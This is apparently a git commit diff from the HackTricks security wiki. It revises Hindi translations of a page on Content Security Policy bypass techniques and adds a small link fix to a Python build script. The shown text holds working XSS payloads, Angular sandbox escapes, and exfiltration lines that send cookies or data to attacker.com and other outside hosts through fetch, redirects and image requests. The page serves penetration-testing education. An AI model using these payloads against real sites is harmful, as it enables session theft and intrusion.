mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
Translator
parent
8fa713062f
commit
e75b9796e7
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इस पृष्ठ का लक्ष्य **प्लेटफार्मों की सूची बनाना है जो कोड** (शाब्दिक या regex) को हजारों/लाखों रिपोजिटरी में एक या अधिक प्लेटफार्मों में खोजने की अनुमति देते हैं।
|
||||
इस पृष्ठ का लक्ष्य **प्लेटफार्मों की सूची बनाना है जो कोड** (शाब्दिक या regex) को हजारों/लाखों रिपोजिटरी में एक या एक से अधिक प्लेटफार्मों में खोजने की अनुमति देते हैं।
|
||||
|
||||
यह कई अवसरों पर **लीक की गई जानकारी** या **कमजोरियों** के पैटर्न खोजने में मदद करता है।
|
||||
|
||||
|
||||
@ -57,7 +57,7 @@ object-src 'none';
|
||||
- **sandbox**: `<iframe>` के sandbox विशेषता के समान प्रतिबंध लागू करता है।
|
||||
- **report-to**: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
|
||||
- **worker-src**: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
|
||||
- **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पूर्व-लाया जाएगा।
|
||||
- **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पहले से लाया जाएगा।
|
||||
- **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)
|
||||
|
||||
### स्रोत
|
||||
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
काम करने वाला पेलोड: `"/><script>alert(1);</script>`
|
||||
|
||||
#### Iframes के माध्यम से self + 'unsafe-inline'
|
||||
#### self + 'unsafe-inline' Iframes के माध्यम से
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग बनाने के लिए मजबूर कर सकते हैं** क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग बनाने के लिए मजबूर कर सकते हैं** अपने JS कोड के साथ, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -161,13 +161,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा**।
|
||||
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **Javascript** कोड को कुछ ऐसा करने के लिए **अस्वीकृत कर देंगे जो एक छवि होनी चाहिए**। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **जावास्क्रिप्ट** कोड को कुछ ऐसा करने से **अस्वीकृत** करेंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्या की गई एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
|
||||
### Form-action
|
||||
|
||||
यदि JS इंजेक्ट करना संभव नहीं है, तो आप अभी भी उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन इंजेक्ट करके** निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की अपेक्षा कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
|
||||
यदि JS इंजेक्ट करना संभव नहीं है, तो आप उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन इंजेक्ट करके** निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की उम्मीद कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग
|
||||
|
||||
निम्नलिखित URL example.com पर रीडायरेक्ट करता है (से [यहाँ](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
निम्नलिखित URL example.com पर रीडायरेक्ट करता है (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -309,7 +309,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
या
|
||||
or
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
@ -318,7 +318,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
1. यहाँ एक Facebook Developer खाता बनाएं।
|
||||
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
|
||||
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
|
||||
4. उस लक्षित साइट पर जहां आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)।
|
||||
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
|
||||
@ -335,7 +335,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।
|
||||
|
||||
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे इस प्रकार बायपास किया जा सकता है:
|
||||
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
@ -375,7 +375,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करने, और `window` ऑब्जेक्ट का उपयोग करके `alert()` फ़ंक्शन को निष्पादित करने को उजागर करता है, जिससे `document.cookie` प्रकट होता है।
|
||||
|
||||
**अन्य Angular बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी एक विस्तृत गाइड में उपलब्ध है जो इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर है।
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।
|
||||
|
||||
कार्यशील पेलोड:
|
||||
```html
|
||||
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहाँ**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) मिल सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
|
||||
### रीडायरेक्शन के माध्यम से बायपास
|
||||
|
||||
@ -401,7 +401,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
|
||||
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
यहाँ एक उदाहरण है:
|
||||
यहां एक उदाहरण है:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -429,7 +429,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
|
||||
### लटकते मार्कअप के साथ CSP बायपास
|
||||
|
||||
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html).
|
||||
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html)।
|
||||
|
||||
### 'unsafe-inline'; img-src \*; XSS के माध्यम से
|
||||
```
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी इमेज उपयोग कर सकते हैं।
|
||||
|
||||
आप इस CSP को इमेज के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा एक्सेस की जाने वाली एक पृष्ठ में एक SQLi है, और एक इमेज के माध्यम से फ्लैग को निकालता है):
|
||||
आप इस CSP को इमेज के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा एक्सेस किया जाने वाला एक पृष्ठ एक SQLi को शामिल करता है, और एक इमेज के माध्यम से फ्लैग को निकालता है):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -548,7 +548,7 @@ run()
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने** की अनुमति देता है।
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**।
|
||||
|
||||
आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**:
|
||||
```html
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\
|
||||
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है:
|
||||
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को **enable** किया जा सकता है:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सफल होते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सक्षम हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
|
||||
उदाहरण के लिए [**इस CTF लेख को देखें**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -585,11 +585,32 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।
|
||||
|
||||
एक और तकनीक CSP का स्वयं शोषण करना है ताकि गुप्त सबडोमेन का अनुमान लगाया जा सके। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जिन्हें जानबूझकर ब्लॉक किया गया है। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेन को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
|
||||
एक और तकनीक CSP का लाभ उठाकर गुप्त सबडोमेन का अनुमान लगाने में शामिल है। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशेष डोमेन को शामिल करने के लिए समायोजित करती है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंत
|
||||
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
|
||||
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करती हैं कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी को लीक कर सकती हैं।
|
||||
|
||||
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
|
||||
|
||||
## CSP को बायपास करने के लिए असुरक्षित तकनीकें
|
||||
|
||||
### बहुत सारे पैरामीटर होने पर PHP त्रुटियाँ
|
||||
|
||||
[**इस वीडियो में टिप्पणी की गई अंतिम तकनीक**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजने पर। PHP वेब कोड में कोई भी परिभाषित **`header()`** **नहीं भेजा जाएगा** क्योंकि यह त्रुटि उत्पन्न करेगा।
|
||||
|
||||
### PHP प्रतिक्रिया बफर ओवरलोड
|
||||
|
||||
PHP को डिफ़ॉल्ट रूप से **4096** बाइट्स तक प्रतिक्रिया को **बफरिंग** करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो **चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके**, **प्रतिक्रिया** **CSP हेडर** से **पहले** **भेजी जाएगी**, जिससे हेडर को अनदेखा किया जाएगा।\
|
||||
फिर, तकनीक मूल रूप से **चेतावनियों के साथ प्रतिक्रिया बफर को भरने** में है ताकि CSP हेडर न भेजा जाए।
|
||||
|
||||
[**इस लेख**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
|
||||
|
||||
### त्रुटि पृष्ठ को फिर से लिखें
|
||||
|
||||
[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -598,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के एंडपॉइंट में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य एंडपॉइंट्स का दुरुपयोग** किया जा सके। यह हमलावर पृष्ठ से कमजोर एंडपॉइंट को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक एंडपॉइंट पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर एंडपॉइंट** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक एंडपॉइंट का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के अंत बिंदु में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य अंत बिंदुओं का दुरुपयोग** किया जा सके। यह एक हमलावर पृष्ठ से कमजोर अंत बिंदु को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक अंत बिंदु पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर अंत बिंदु** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक अंत बिंदु का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** एंडपॉइंट है जो आउटपुट में भेजे गए **डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
|
||||
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** अंत बिंदु है जो आउटपुट में भेजे गए **डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
|
||||
|
||||
एक हमलावर उस एंडपॉइंट का दुरुपयोग करके WordPress के खिलाफ **SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self'** द्वारा **अनुमति** दी गई है। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
एक हमलावर उस अंत बिंदु का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि यह **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **कमजोर** **callback** अंत बिंदु के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -622,14 +643,14 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
|
||||
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को IP पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
|
||||
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
|
||||
